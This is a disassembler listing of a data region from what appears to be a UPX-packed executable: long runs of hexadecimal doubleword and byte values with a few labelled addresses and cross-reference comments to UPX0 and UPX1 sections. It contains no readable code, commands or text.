		dd 39B6D525h, 898EA1F2h, 8D1EA3C3h, 0BA5AB925h,	5C3F9912h
		dd 0C0C922C0h, 537A2EBDh, 168703Eh, 87B002EFh, 4641ECDAh
		dd 0FDB081Fh
		dd 0C58696ACh, 2C43809Dh, 0E1248130h, 202307C0h, 0FE220240h
		dd 4A130180h, 71812FE7h, 34392ABh, 73213958h, 93FA174Eh
		dd 4DEC2D9Fh, 48B03E1Dh, 0E0E4805h, 0E3A87491h,	1A87C922h
		dd 48036A8Ch, 0E9B1CA8h, 91F528CAh, 0BCF58340h,	0C9F73E67h
		dd 8EF66BC2h, 0E844E69Ch, 87C7D29Ah, 9FD3F68Fh,	2E85C1Bh
		dd 93B1C632h, 50F940Eh,	0DA92E235h, 0F27787C9h,	0CF39E21h
		dd 0A9F53E29h, 0CF4E84D2h, 43C537A8h, 54C9BF37h, 58C1A4F7h
		dd 0CA4324BBh, 12A8907Ch, 0B7F1164h, 109542F0h,	49DE04C0h
		dd 44BC5160h, 19760328h, 6D95050h, 65A4DB01h, 1B9AC66Dh
		dd 96F59003h, 2C131B6h,	0DAC9D0F9h, 90030160h, 0F0976BA9h
		dd 2C231B8Ah, 4D6F4E71h, 30BC021Ch, 157CC849h, 51A3A590h
		dd 1B585CB1h, 0C86D6B4h, 0E3A57D6Ah, 3E585B06h,	0B96D55B0h
		dd 4E0C02C1h, 42C72348h, 5C1BB206h, 8AB55613h, 157AAE05h
		dd 0AD0D4FACh, 0A32B2551h, 0CD22C04h, 0AAFE6D4Bh, 8093C56Ch
		dd 0DE1F2B9h, 0E000B82h, 82025446h, 6509003Eh, 46084C84h
		dd 583E57C0h, 0E02303C0h, 80726D63h, 910410D0h,	5C104E0Fh
		dd 190ACB42h, 0A2B1640Eh, 7391A3A2h, 0C85D136Bh, 416064h
		dd 42198DBDh, 0B8C84200h, 5837B9E0h, 0ABD17981h, 60783E5Eh
		dd 81687C69h, 5DB36EFAh, 321774C8h, 8411823h, 0C4DCB910h
		dd 0FC0946D6h, 477591A4h, 0DAE9DD94h, 15FBBF26h, 8BEF73EEh
		dd 980E7E29h, 0AC960551h, 9B5B8970h, 97D726E3h,	49AD55FDh
		dd 0F990749h, 0B3B637A0h, 6277710Dh, 781A80D0h,	50750F01h
		dd 0E07E07C2h, 0E1E1B92Fh, 57380D07h, 46B0180Ah, 4860057Dh
		dd 48000AB3h, 34828033h, 6206E1BCh, 7CF5E0DCh, 54270750h
		dd 0E12B9E0h, 2C5C10AFh, 9840484h, 2E05001h, 0E45C861Fh
		dd 7264323h, 1D42C012h,	28382066h, 4836D94Bh, 64B9C0A8h
		dd 0E0240149h, 0F80F08C1h, 0CA19FEF2h, 0C334E67Ch, 0A85E03EAh
		dd 8B7E0F83h, 0F91B2A1Bh, 846B9h, 63C0F978h, 74B9031Fh
		dd 5828323h, 0DEE5E464h, 7808592Dh, 38987268h, 0D73D57DCh
		dd 3656CEC6h, 406404A2h, 0EE99D74Fh, 0B27689D0h, 83036D86h
		dd 0D3A6D71Bh, 8FF1EE3Bh, 0D5D3AC83h, 0F09D86Ah, 4192F440h
		dd 3B56E22Ch, 501C07C7h, 0C01000C0h, 0A8C5D501h, 0C0D53305h
		dd 10AB5Ch, 8C6D415h, 18E5D803h, 2E433002h, 500606Ch, 100F40C8h
		dd 3560370Ah, 0C60644C0h, 50746DACh, 6D3C08ABh,	0A2880656h
		dd 6D0D9C0Fh, 37AC818h,	0B64182E2h, 982D736Fh, 101AD52h
		dd 75920068h, 77756E80h, 0C0050108h, 0ADB66EA8h, 0D5D36821h
		dd 0B646C636h, 0BAE74BB2h, 0D9604000h, 8D9FDED8h, 6BA20DA8h
		dd 0A2373A97h, 9FBD0DABh, 6428592Dh, 0DB3100A0h, 0CDADC120h
		dd 0BB06BEDAh, 0F62EC336h, 0F00D93B1h, 0E3D49783h, 40A042h
		dd 3201EFEh, 0E4FABA8Dh, 0AF14C1ECh, 96F28A6Bh,	5C3ABCBBh
		dd 67CBEE90h, 0D54B1E1Eh, 0A02405A1h, 8E77CEB9h, 20C8051Bh
		dd 82907B0Dh, 0F3C06806h, 52C747A2h, 0D19C96C9h, 23728E97h
		dd 1000C068h, 0A7D32EBAh, 5BAAF54Eh, 0CF58EAFDh, 0CEB7D6BAh
		dd 0FD7BAEF5h, 0BB0F60EBh, 95E2BC7Ch, 0ECFD98ECh, 0DABB4F68h
		dd 0B6F6CED7h, 70EDFDBBh, 0E7DCBB8Fh, 90EC774Eh, 395E3ABDh
		dd 0CEF6500Bh, 0FDFBBEF7h, 0BC0F80EFh, 0F84F07E0h, 0F0FE1BC2h
		dd 0E2BC4F88h, 0C6F8CF17h, 90F1FE3Bh, 87E07C8Fh, 0C4E895D2h
		dd 51030C81h, 0CF37E682h, 0FE7BCEF9h, 0BD0FA0F3h, 0FA4F47E8h
		dd 0F4FE9BD2h, 0EABD4FA8h, 0D6FACF57h, 0B0F5FEBBh, 67ECBD8Fh
		dd 0DBDAFB4Fh, 1FA7F6FEh, 93901908h, 8138AF1Ch,	47C8FC1Fh
		dd 0FC41EC3Eh, 0F8FF1BE2h, 0F2BE4FC8h, 0E6FCCF97h, 0D0F9FF3Bh
		dd 0A7F4BE8Fh, 5BEAFD4Fh, 0CFD8FAFFh, 0FEB7F6BEh, 7BEEFDCFh
		dd 0FE0FBFFh, 0F85F3FFh, 0BE54277Ch, 3E0F98F7h,	8F11E83Dh
		dd 0FDFFBBF6h, 0FCBF8FF0h, 0FAFF4FE7h, 0F8FEFFDBh, 0F7FEBFCFh
		dd 0FBFEFFCFh, 1800FFFFh, 80380280h, 6805804h, 98088078h
		dd 7F880A80h, 0FC0F97EBh, 0A7BB04E0h, 1080711Ch, 0F07EC0F9h
		dd 98188170h, 81B81A81h, 1E81D81Ch, 182081F8h, 82382282h
		dd 26825824h, 98288278h, 82B82A82h, 2E82D82Ch, 183082F8h
		dd 83383283h, 0F1824834h, 90F90F40h, 1C57BC10h,	4A05A068h
		dd 0B0F08150h, 84384280h, 46845844h, 98488478h,	84B84A84h
		dd 0FC84D84Ch, 0A8380F07h, 6805A04h, 4E0681CAh,	10F604A0h
		dd 84E8410Fh, 5E85D85Ch, 186085F8h, 86386286h, 417FA864h
		dd 604A0F68h, 8578557Eh, 6585B859h, 187086F8h, 87387287h
		dd 4A875874h, 48698678h, 8561C985h, 7685A858h, 188087F8h
		dd 88388288h, 7885F884h, 7BFE86A8h, 587E86C8h, 88D88C88h
		dd 9088F88Eh, 0A8878908h, 87C1C687h, 9889186Dh,	0B89A8998h
		dd 84989C89h, 7D86B893h, 389D86E8h, 8A58A48Ah, 7E8A78A6h
		dd 58888688h, 8A288A89h, 0B08AF8A8h, 8B28B18h, 88989F87h
		dd 0B88B38A1h, 0B8BA8B98h, 8B58458Bh, 0BC8B78ACh, 38C28C18h
		dd 7F58C48Ch, 0AD83C8BEh, 0B8CA8C58h, 8B38CC8Ch, 961C48C7h
		dd 38CD88B8h, 8D58D48Dh, 0AA0F1892h, 8C88948h, 8DD8D68Ch
		dd 728DF8DEh, 11C18CF8h, 8E08AE8Dh, 0E88E78E6h,	98D889E8h
		dd 8978A087h, 0F08EF8E9h, 28078F18h, 8E41C08Eh,	0F88F78F2h
		dd 47F88F98h, 8F61BF8Fh, 8FF8FAh, 0E8FC8F99h, 9018FE1Bh
		dd 0E6907906h, 51BD9038h, 90D90890h, 0A8CC90Eh,	0F90C1BA9h
		dd 91591490h, 0B99118BAh, 0B9169131h, 8A691C91h, 1A1B8918h
		dd 392291D9h, 91F89192h, 0F59211B7h, 120E5077h,	7F20010Fh
		dd 2F84A92Dh, 0D80FE89h, 492B92E2h, 84E92A86h, 397EF302h
		dd 0D93B7EE9h, 93A93D7Eh, 499337FAh, 47F69318h,	9468C194h
		dd 2D92A929h, 68449489h, 9281B692h, 4C9467F8h, 495388F9h
		dd 85C95394h, 0F1957948h, 0C7F495A7h, 93E95694h, 6192C940h
		dd 0C7FF95F9h, 95A80B95h, 698B9966h, 0B7F095B9h, 94E80696h
		dd 0F79501B5h, 0E89C9527h, 86296C95h, 0FE941959h, 93C9767h
		dd 96297D96h, 7B96497Fh, 0D96884C9h, 96196E8Ch,	7084897Fh
		dd 59721909h, 92C96D94h, 90980942h, 0E9899919h,	94B93D97h
		dd 3C99792Fh, 0C9629359h, 93596D99h, 6C99293Fh,	899F9A09h
		dd 99A98098h, 7E9A1942h, 0E9909639h, 9AF9A093h,	0AA93B994h
		dd 49819AC9h, 9899AB9Bh, 9C9B29AAh, 495B9989h, 9BB9639Ah
		dd 339989B7h, 49A89319h, 9C097D99h, 939C39B5h, 0F99E93A9h
		dd 99E9CE93h, 0C29919CCh, 998F9C79h, 9CD98F92h,	8B8039D0h
		dd 8D07C9FEh, 59CC9D69h, 9749A29Bh, 0D2964940h,	49E49B49h
		dd 9969779Ch, 0AD9C6934h, 89529609h, 9BF9F09Eh,	0D5979995h
		dd 19E09E59h, 9B79C19Eh, 0B69997F3h, 0A9A69A79h, 9AB9959Eh
		dd 0E392E9E7h, 69E69D79h, 9819FC9Bh, 9A59E8h, 0B9C4996Ah
		dd 9FD9E4A0h, 0F89FAA09h, 29FE9ED9h, 0A0C95D9Eh, 2A019FEh
		dd 99DD9DB8h, 0A099A6A1h, 12A1095Ch, 2A15A04Ah,	0A149F398h
		dd 0DA0B99Fh, 5A1BA22Ah, 9BDA219Fh, 0F7A294FEh,	0B9E9A119h
		dd 0A36A349Fh, 389F7A16h, 19A29F9Ah, 97C992A3h,	43A2FA13h
		dd 6A37A45Ah, 0A0DA15A4h, 23A40A2Fh, 3A44A25Ah,	0A4A9D597h
		dd 1E7F7987h, 19658C9Ah, 957A44A5h, 3FA33A10h, 8A489C6Ah
		dd 96BA3EA2h, 4B9E0A5Fh, 0E9BE9C19h, 0A209B99Ah, 0B299BA61h
		dd 0AA6AA269h, 9CAA41A3h, 0B89ECA51h, 79D19FD9h, 9BE956A6h
		dd 1CA63A3Ah
		dd 2A48A70Ah, 0A2B99BA5h, 0FEA5A9BBh, 66A13A4Eh, 0C9A7A189h
		dd 0A55805A5h, 887FD8DCh, 5A3BA43Ah, 95EA2AA0h,	0F4A3CA24h
		dd 29DEA4A9h, 9EEA6598h, 3EA029D4h, 8A47A6AAh, 9FFA6EA0h
		dd 0A3A7EA58h, 0CA749FAAh, 0AA4A4BA2h, 4BA75A9Ch, 0DA6BA86Ah
		dd 0A4CA85A7h, 0FB9F69FFh, 1A8097C9h, 0A3DA3FA4h, 8C842A39h
		dd 49838EEAh, 0A9DA37ABh, 0AC5ABBh, 3AA5AA6Ah, 0A9A977A9h
		dd 279F1ABAh, 9AD0AACAh, 0AC3A4FA4h, 0B3AA8A2Ah, 0AAD4AB2Ah
		dd 0A1CA90AAh, 0DEACFAADh, 0DA9FAAFAh, 0A4EA96ABh, 0C998EA30h
		dd 6A9BADFAh, 80AAE2AEh, 8E8D2ABFh, 7A7FAE7Ah, 0AC7AB9AEh
		dd 0DFAEBAE4h, 9A2C9B89h, 0AF99E1AEh, 0A1A97AF1h, 9AD7A35Ah
		dd 0ABBB01ADh, 3CA9EAF1h, 9A9FA40Ah, 0AB0A029Ah, 95B04ADFh
		dd 3A799EDAh, 0B05B0DAEh, 69A9EB13h, 0AAE1A8F9h, 8AB8EB9Dh
		dd 0EFAC08DBh, 4993AC2Ah, 0A01A77A8h, 0DAA6899Ah, 2AAA9EBAh
		dd 0A5E9E3A8h, 0AFFEBA58h, 0A99EFA9Bh, 0CB21AA0Ah, 0B23B26A6h
		dd 0D2A82A68h, 99B19D89h, 0B31A719Dh, 36B29A6Ch, 0FA72B24Bh
		dd 0A72B2FA0h, 9DB19B33h, 0BB2FB3B9h, 0B4AA79B2h, 0B7B4FB4Dh
		dd 0CAE0AB6Ah, 0AF8AD6ADh, 0ED801A74h, 28F08E5Ah, 898924B2h
		dd 6FB54A53h, 984DB5F8h, 0B5C8FAB5h, 62890B5Dh,	5B61AC6Bh
		dd 8F9B6487h, 99B67A94h, 0BB69B698h, 865B5784h,	78B70B6Dh
		dd 0BB6CB79Bh, 8D08DAB1h, 80B7AA56h, 7863B81Bh,	0B85B82B7h
		dd 8484CB86h, 0BB8AB87Bh, 0B7CABEB8h, 76AEE8EDh, 1938B6F8h
		dd 0AB8B5FACh, 0D1ABCA50h, 0A9378D6Ah, 0B73802B2h, 8DB9E804h
		dd 0E875B898h, 85D97AAFh, 0EAB96B73h, 0CBA0AA7Ah, 9B1A978Bh
		dd 39DEAA7h, 1B4096E8h,	877BAB80h, 1E8B6B8Eh, 1AD4B91Bh
		dd 0BA785E95h, 0E9B32BAFh, 0D8BBBB59h, 7F9B02BAh, 60BB2BC2h
		dd 2876AC1Bh, 9A9A50BAh, 369B09C0h, 0FB259E2Bh,	0BD4B35B3h
		dd 0A11BFE33h, 47B3EBCEh, 0EA59A32Bh, 0AB69C7B4h, 6EAFA9CFh
		dd 7B27B44Ah, 0BD1BD99Dh, 0EABDBB2Dh, 9BA49C5Bh, 9EA9C899h
		dd 45AE5B2Ch, 1AB89B09h, 0B47B50BEh, 0D392B9B9h, 0EBEE9EE9h
		dd 0B3CBF8BDh, 0F3BCC860h, 3A0FA39Bh, 0A70974AEh, 0E5AB9B06h
		dd 9F4B52Bh, 0C0AA71A6h, 35AF49F2h, 2ABAA87Ah, 0A16AF7B1h
		dd 15A88A46h, 7B29A27Bh, 0BA8A85C0h, 0A4A6FAABh, 8C10A7CAh
		dd 0A0EC05B4h, 0D5B0CAF6h, 0C0285EAh, 0C25C1BBBh, 0E5ADBAC5h
		dd 4AC8BF2Bh, 0AF0ADBA1h, 24B12C2Bh, 3B08B6ACh,	0A42C3DB5h
		dd 0CBBE9AD8h, 6C3AC23Ah, 0BEFB3FA7h, 3BC0EAEAh, 0EC33A3DCh
		dd 0C31AF3AAh, 2D871C09h, 1507AA0Ch, 0BF7C24AEh, 0F8A8ABADh
		dd 0BC5AC29Bh, 0C5EC54B0h, 55A7CA32h, 6C5FAD2Ch, 0A66A34C1h
		dd 1AA93B0Ah, 0BC41BE8Ch, 0B6AC37C3h, 45C67A62h, 0DA86B51Ch
		dd 0A52C15C5h, 81A6DC5Ah, 0FBB7C52Ah, 0BBCBB98Bh, 0A28ADCFEh
		dd 0FAFAA7Fh, 1A73C4EBh, 0B2DB14C5h, 0AEAABBDAh, 7B96C25Bh
		dd 0B04B20B1h, 3CAF9B08h, 9988B52Ch, 0AC8AE9C8h, 0BCBC0955h
		dd 1AB1C4AAh, 0BE3C51BCh, 36C97AF5h, 0DAECBC2Ch, 0B90B1DC7h
		dd 29ACAC80h, 7C08AC4Ch, 0C35B20C7h, 21C41B98h,	0FA36B53Ch
		dd 0C2FCABC8h, 3CC83C72h, 0C9FA98Ch, 0C46C0BC5h, 0B0BA4C39h
		dd 0BCC2C0DCh, 0CA3C49A7h, 5CB99CBFh, 2B98C538h, 0C97AFDCBh
		dd 69AEBC32h, 6AD2C0FCh, 0A2EC6DCCh, 649AEC13h,	4C90A08Ah
		dd 0A7BAFECDh, 0DBC38ACEh, 2ADDC64Ch, 968AD5CEh, 43CC5C0Eh
		dd 2B10C73Ch, 0C56C88C7h, 62C4DC60h, 8BAACCE8h,	9D0A9AC4h
		db 30h,	1Bh, 0C2h
byte_45004B	db 0F7h			; DATA XREF: UPX0:off_41DBACo
dword_45004C	dd 0EBFDB37Bh						; UPX1:004319F0o
		db 0CFh, 0A8h
byte_450052	db 0CAh			; DATA XREF: UPX0:off_4245A8o
byte_450053	db 0B3h			; DATA XREF: UPX0:0041EFF0o
		dd 0DDB51BE4h, 0A17B4DBh, 0CB0B3ABEh, 0E1D09C8Ah, 0DC84CD2Ch
		dd 0D06B3A95h, 0CA5DC89h, 973CE9Dh, 0BE3BF4C0h,	899D1D11h
		dd 0FA94BFDAh, 0B4AD14D0h, 39BD5D1Dh, 0CCF684BCh, 0FE689AB8h
		dd 0D28BCACAh, 7ECA8C2Ch, 5D2CA8DBh, 0B1FD2A8Ah, 2785DD31h
		dd 588DD35Dh, 0D3A845B7h, 37847D38h, 5D40D3DDh,	0D41D3FD3h
		dd 43B8BD44h, 2D48D45Dh, 0D49D47B8h, 4BB78D4Ch,	3D50D4DDh
		dd 0D51D4F92h, 53916D54h, 0DD58D55Dh, 0D59D5790h, 5B900D5Ch
		dd 7D60D5DDh, 0D61D5F8Fh, 638E9D64h, 0FD68D65Dh, 0D69D678Dh
		dd 6B8D4D6Ch, 0AD70D6DDh, 0D71D6F8Ch, 738C1D74h, 8D78D75Dh
		dd 0D79D778Bh, 7B8AFD7Ch, 4D80D7DDh, 0D81D7F8Ah, 8389AD84h
		dd 0FD88D85Dh, 0D89D8788h, 8B884D8Ch, 0FD90D8DDh, 0D91D8F87h
		dd 2E8E1D94h, 5B7F8E3Dh, 8A7D9AD9h, 9ED9BD93h, 5D97C01Dh
		dd 0D9FD998Fh, 9D899DA4h, 6DA8DA5Dh, 0B8F8D9BBh, 0AEDA9B5Ah
		dd 0FDA7882Dh, 80BDB2DAh, 0B6DB3DB1h, 0DDA196FDh, 0DB7DA38Fh
		dd 0B98B4DBCh, 0DDBB904Dh, 0CF5DC2DBh, 0C190BDBFh, 6DC8DC3Dh
		dd 912DC5D3h, 0CEDC9DC7h, 9DCBD26Dh, 0FDFECD91h, 846DD4DCh
		dd 0D8DD5DB5h, 9DD77EDDh, 0DDBDD5DDh, 0DEDCFDDCh, 1DC9DDFDh
		dd 0DC3DE2DEh, 0BDDE5DE4h, 0DB9BD4BDh, 847B6BCBh, 33B22B72h
		dd 0FBB1C42Dh, 0B9FDF1D1h, 1B984C63h, 1D24BD6Dh, 0CEDDEA8Fh
		dd 0A4DF5880h, 0FC4CD34Ch, 936CCFDFh, 0C6CB3BBBh, 6C6EAA3Bh
		dd 0DFD8E7C2h, 87FBF2h,	0BA5C86Eh, 967E11A2h, 2BE15BAFh
		dd 8CCCD25Dh, 0CB2C1BE0h, 0E8CBE1Ah, 0BBFECDEEh, 0BFB9B3DFh
		dd 0F0BD9ACFh, 9BEBE239h, 0E269399Dh, 0B7B35BEAh, 0CD24C8ACh
		dd 0D03BDB9Bh, 19955BFCh, 0FBFBAD1Dh, 0BCFA4C9Eh, 0FCE17D1Eh
		dd 0E9BABD5Bh, 0CEE9B3BFh, 2E42C3Eh, 0FE3EB10Dh, 0BD2BD6CFh
		dd 0ABD2DC00h, 7CAABB8Dh, 0E46A07B9h, 39F6B14h,	0BC85A61Ah
		dd 0E5BA73E0h, 0B5CDDCA0h, 9AE2C1CAh, 0B07C92E5h, 0DDCDCDFBh
		dd 499DE68Ah, 0CF0A89ACh, 0F1C0CE65h, 6E03B0DCh, 0CA5E5FE5h
		dd 0E0C7BC04h, 0EBC9C1EAh, 7DEAFE84h, 0CACC98DFh, 0B8B03C36h
		dd 1C3DDFECh, 0AB1C9EE7h, 74CBABC4h, 1D10CE4Eh,	0C37AF4CCh
		dd 70B38CD1h, 0DE66B00Eh, 0A2DE8ECBh, 0ADE81E89h, 0AD13CEECh
		dd 0C7EE51DCh, 0F5BA9E53h, 2A83C799h, 0E1EAFFE9h, 77EA5C56h
		dd 6C0B9ECAh, 0E89E8EC7h, 82E3CC63h, 8E09EA7Eh,	0C68BF0AEh
		dd 65EAEA45h, 2C7AE98Ch, 0C83C86DFh, 47EBFB46h,	0FC82A5CAh
		dd 0D3CD1EC9h, 20DD1B63h, 0EE1CDD39h, 0C96CA1CBh, 67C66EB4h
		dd 1BB3C1DCh, 0ED6ECEE0h, 0B3976A1Bh, 4CB6B92Bh, 0A26E95C4h
		dd 99CE3ACCh, 7E07ED2Ch, 0E80CA1CDh, 65CCAE0Ah,	5CEBCE6Eh
		dd 0EE3A49ECh, 0A9E9FD96h, 0FC2EDADCh, 0CB5E6EE0h, 0E4E7FC91h
		dd 6EC2EF8Eh, 0A04E63E9h, 0BFE14EDBh, 0FC50D0DCh, 0ACDEE2E0h
		dd 3FEA2F03h, 0AF05EE7Ch, 0C87EB3BAh, 0F3E83CB4h, 2C7CEF0Ah
		dd 0C7FD2FEFh, 75E84E54h, 0BA1AF09Ch, 0AE8EE6F1h, 57ED8E5Ch
		dd 0EED7AF8Eh, 0CF26EEFEh, 0E78C91F1h, 0F3F08CD6h, 0ECF2AFC9h
		dd 0F1CF27EBh, 47E8CC9Bh, 0FF0BE71Eh, 0B48EEEF1h, 27ECA886h
		dd 0BBBFECC9h, 0E36D22B0h, 1CE37E67h, 0DBD3A90Dh, 0CFDB3DB3h
		dd 8FD0EF45h, 1D16B43Ch, 0AFCB30B4h, 70B9CE93h,	19CB9CDCh
		dd 0F4EA21E6h, 54E3AB41h, 0EE33E39Fh, 0BF6A8AA5h, 2FB34F5Bh
		dd 9F53D01Eh, 0EC8D0BF4h, 98F16EC9h, 8BA3D30Dh,	0DE8B66D6h
		dd 18800DE7h, 5F71B80Eh, 0A57F73DEh, 0E8EDCD65h, 0FF3CDDADh
		dd 0F7DF3E94h, 797F9F82h, 5DAEF83Fh, 0DA8F86F8h, 0A4F89F88h
		dd 0E1BE21Dh, 0F0AEC1BBh, 40F8CF8Fh, 5B95D6BDh,	0D0AEF5EEh
		dd 79F94B9Dh, 0FE02F96Bh, 0DECBC5E1h, 9CF757FBh, 0AE218DEFh
		dd 0E3BDFABFh, 0FAE2DFA8h, 9F519CBDh, 0E24E29B4h, 0A5E45E39h
		dd 7E0E907Fh, 0B0CE64C2h, 24F2BE5Eh, 7F32C28Fh,	906FB5EFh
		dd 0FF0FFB7h, 9EFDF21Bh, 0FC1AA2F3h, 0AFC391Ch,	0FED3EBDAh
		dd 9FCEA5BAh, 0EA4AAFE9h, 0CAA91CD5h, 1F7FD5AFh, 0F06F8197h
		dd 95FBAEE8h, 0EE8AE87Eh, 0FA4959AAh, 0D9D76FD7h, 3FDB98CFh
		dd 0B06CD4B0h, 0ACFC7F12h, 5FA0CAFAh, 0FCC8EFFEh, 0ECE9CCEFh
		dd 7E75CDEFh, 0CF4F1EE4h, 0A78FFFF2h, 1100B46Fh, 78806040h
		dd 8C160905h, 42607077h, 260F0883h, 2050E85Ch, 27068443h
		dd 1188A43Eh, 48944E2h,	881C7215h, 92456351h, 449E4D25h
		dd 4AE55299h, 0BE5D2D96h, 0E6531984h, 6D359A4Ch, 5399C4DEh
		dd 0F17849E7h, 827129ECh, 0A250CF86h, 45128D45h, 0BD8944E3h
		dd 3E773D78h, 0EA551A85h, 0AD55AA54h, 559AC55Eh, 3D9D56EBh
		dd 1A3D067Fh, 0A5D268D6h, 459EB94Dh, 5AED569Bh,	0BEDD6DB6h
		dd 0A815EB55h, 0C975B150h, 570A7532h, 7DBE5EEFh, 1C05FEFDh
		dd 0B05CA498h, 35DEC575h, 62F1582Bh, 3F1D8DC6h,	0AE984C56h
		dd 0F388A3E1h, 599CC642h, 9DCE66F3h, 0A6FE4A55h, 67B2D61Ch
		dd 9F4DA5D2h, 0E7D71D46h, 9595D0DCh, 5B1D4DE2h,	0B5DA6CF6h
		dd 5D6E8253h, 0DE6DB474h, 6EFF7DBDh, 0D0F73B8Ch, 1F8DC0DDh
		dd 0AB3C9E47h, 95C5E1F0h, 5D1E873Fh, 0B9E64B3Ah, 9EC74F9Dh
		dd 0EAF1BB5Dh, 76FAFADh, 0E93C5E1Fh, 8FBFA1EEh,	3D5E9F47h
		dd 0CF94F2E0h, 5F1F87AFh, 86F6D73Eh, 9FC7CFDFh,	0FACE3F5Fh
		dd 0DE275F76h, 701402Fh, 0C3BFA974h, 408CBBFEh,	0D0241705h
		dd 6410D140h, 0F5094230h, 0B2B5D073h, 43309C12h, 70ABC10Dh
		dd 437082Ch, 3AE9C431h,	1143EDD4h, 3811444Fh, 31329112h
		dd 8C5F1745h, 5AE2456Dh, 1B46B184h, 8F919337h, 0B1E46EFBh
		dd 0DC72BFC7h, 872147D1h, 1A480B64h, 49324489h,	50BC8CB4h
		dd 0D49F2749h, 0A0D8498Ah, 0A84AB2A4h, 4AD004A4h, 994B72Dh
		dd 82D70C4Bh, 0C7314C27h, 334CB324h, 4D3344CFh,	0B364D735h
		dd 84DF374Dh, 0C5394E33h, 4E70FE2Ch, 33C4EF3Bh,	0E4F73D4Fh
		dd 0BCBF4C73h, 414FABD4h, 50B42507h, 0F3ACD343h, 65174550h
		dd 0FF3551B4h, 0E1B0AD5Ch, 0C9723C74h, 27F9F882h, 0E5374D53h
		dd 3F4F53B4h, 51543505h, 54B52547h, 35454F53h, 0A1F95555h
		dd 9C92CB27h, 59563552h, 56B5A567h, 0B51D6F5Bh,	8C8B2FD5h
		dd 2AE6B274h, 7A1E8B45h, 1A2691C4h, 3641A563h, 9D936559h
		dd 9F669A46h, 685A3675h, 5AB695A7h, 36B5AF6Ah, 0D5B76C5Bh
		dd 0BF6E5BB6h, 705C36F5h, 0DCB65DC1h, 711AF65h,	0A255569Fh
		dd 9A6E1EC7h, 66DE0659h, 5EB7A5E6h, 265DE97Bh, 0E5F77D5Fh
		dd 0FF7F5FB7h, 7BE03805h, 6037B607h, 38460F83h,	66098461h
		dd 0A266DE58h, 0BED58701h, 9ECB6D00h, 6489EC7Bh, 0E6362F8Dh
		dd 0BF8F63B8h, 916402A0h, 64792643h, 0F9464B93h, 66539564h
		dd 5B976579h, 9965F986h, 6679A663h, 99C63F9Bh, 0B92235E3h
		dd 547C9EE7h, 90F9F2FEh, 0BA208A24h, 468FA368h,	97A5693Ah
		dd 0A769BA66h, 6A3A869Fh, 7AA6A7A9h, 0C90E24EAh, 28BE62E7h
		dd 511E7306h, 13051928h, 0BB26C7B1h, 0C12BB16Ch, 25B46D04h
		dd 0B76D84C1h, 6DFB86DBh, 0BB4ED5B6h, 0B6EFBA6Eh, 0F7BC6F3Bh
		dd 0BE6FBBD6h, 703BF6FFh, 0BC1707C0h, 46CDBA70h, 3251EC9Ch
		dd 5D9EA511h, 144791E3h, 0A579503Dh, 0C72FCB72h, 37CD733Ch
		dd 0CF73BCE7h, 743D073Fh, 0BD2747D1h, 0D151D374h, 1E791443h
		dd 0B56B8B4Fh, 0E67B9E8h, 5A95C44h, 0C76E5A97h,	77DD773Dh
		dd 0DF77BDE7h, 783E077Fh, 0BE2787E1h, 378FE378h, 0EE4615DEh
		dd 935D67B8h, 90E2D9F4h, 0A7B1FE72h, 0C7AFEB7Ah, 0B7ED7B3Eh
		dd 0EF7BBEE7h, 7C3F07BFh
		dd 0BF27C7F1h, 29FFF27Ch, 0D42D90E7h, 0B4F5CBDDh, 902761F4h
		dd 5B95C58h, 0F9805E98h, 0F7FD7F25h, 0FF7FBFE7h, 6007FFh
		dd 2403805h, 780D016h, 0FE026044h, 603F6805h, 0B115C2DCh
		dd 0F43B0420h, 34751281h, 0E2EA1FE1h, 0B8350646h, 0D0760E41h
		dd 61041F83h, 42384508h, 84D09612h, 0A614427h, 7C0F4851h
		dd 0EA09A3FCh, 7AA06098h, 3519A935h, 0E0FA2D89h, 0A15A29C4h
		dd 0C330660Bh, 62043F1Ch, 44388510h, 88D11622h,	12624447h
		dd 2644B895h, 4F89D136h, 9838E264h, 94558BA1h, 34311382h
		dd 616C2389h, 0C3707031h, 63045F1Bh, 4638C518h,	8CD19632h
		dd 1A634467h, 3646B8D5h, 6F8DD1B6h, 0C0372364h,	385B3171h
		dd 716F8B02h, 61F25A1Fh, 0E2C85888h, 4720E81Ch,	4839043Bh
		dd 90D21642h, 22644487h, 4648B915h, 8F91D236h, 25246484h
		dd 0A07448F9h, 88B21CE3h, 48EE2185h, 43882F92h,	4710F81Eh
		dd 4A394439h, 94D29652h, 2A6544A7h, 564AB955h, 0AF95D2B6h
		dd 652C6584h, 0C974CB19h, 0D85F1C43h, 78F25B64h, 2007C96h
		dd 0C7F8B816h, 0E1FEE03Bh, 0D316620Eh, 6644C798h, 4CB99532h
		dd 99D33666h, 346684CFh, 6A4D39A5h, 0FF1DF34Ah,	2C45C0h
		dd 44844B91h, 0F8F21BC1h, 39C4A387h, 0E9F6724Eh, 46F0F21Fh
		dd 0A609B814h, 4830D219h, 1D87B958h, 5C0B7156h,	0F79ED3D5h
		dd 4D3E67C4h, 0D8580BD5h, 98F19D61h, 0A1E03802h, 0D416824Fh
		dd 154507A0h, 8531C03Ch, 9DAEB67Fh, 55E77A93h, 530761ECh
		dd 215713D0h, 2AD4819h,	80815060h, 0F8FFA36Ah, 8A433E68h
		dd 0C2DD4E50h, 0C944FE14h, 42D1CA14h, 0A3448692h, 4668C4F7h
		dd 50D2354Fh, 9FA494D1h, 183947C2h, 0FE87BEDAh,	0A16B86CAh
		dd 41481E47h, 45347B8Bh, 1328014Fh, 54A4EF52h, 4CF53143h
		dd 396A754Ah, 7B8F150Bh, 791482D4h, 0FF4067F8h,	945D451h
		dd 6D514C64h, 24FB5813h, 35913856h, 6A95664Ch, 8FF1EE4Fh
		dd 52D43685h, 7595F15Fh, 0A095B580h, 0F016227Eh, 0F4390748h
		dd 0BE57FEBAh, 7DAFD5F6h, 35F800Dh, 0FEC257FBh,	4585B075h
		dd 7AF7626Ch, 960EC258h, 6C858AB1h, 0D93B2564h,	1E03A6BEh
		dd 5604F0B1h, 298F624Fh, 0E99C2344h, 45684710h,	96D25A3Bh
		dd 0DA7B4D6h, 7B536940h, 96AED65Ah, 6D85AFB5h, 0DB1B5D68h
		dd 0B676BED6h, 6E6DC5B4h, 7FD96B4Fh, 32A76344h,	290D2B84h
		dd 0E5D7D3F5h, 68B113A1h, 0B1B63907h, 0D736E65Ch, 6E75CFB9h
		dd 0DD2B9E00h, 0B977506Dh, 40AE95D4h, 0E6103BAEh, 0DDBB5766h
		dd 0BF782EE5h, 8AF1DDBBh, 0C5CDBB37h, 0BBA375EEh, 0B786EADEh
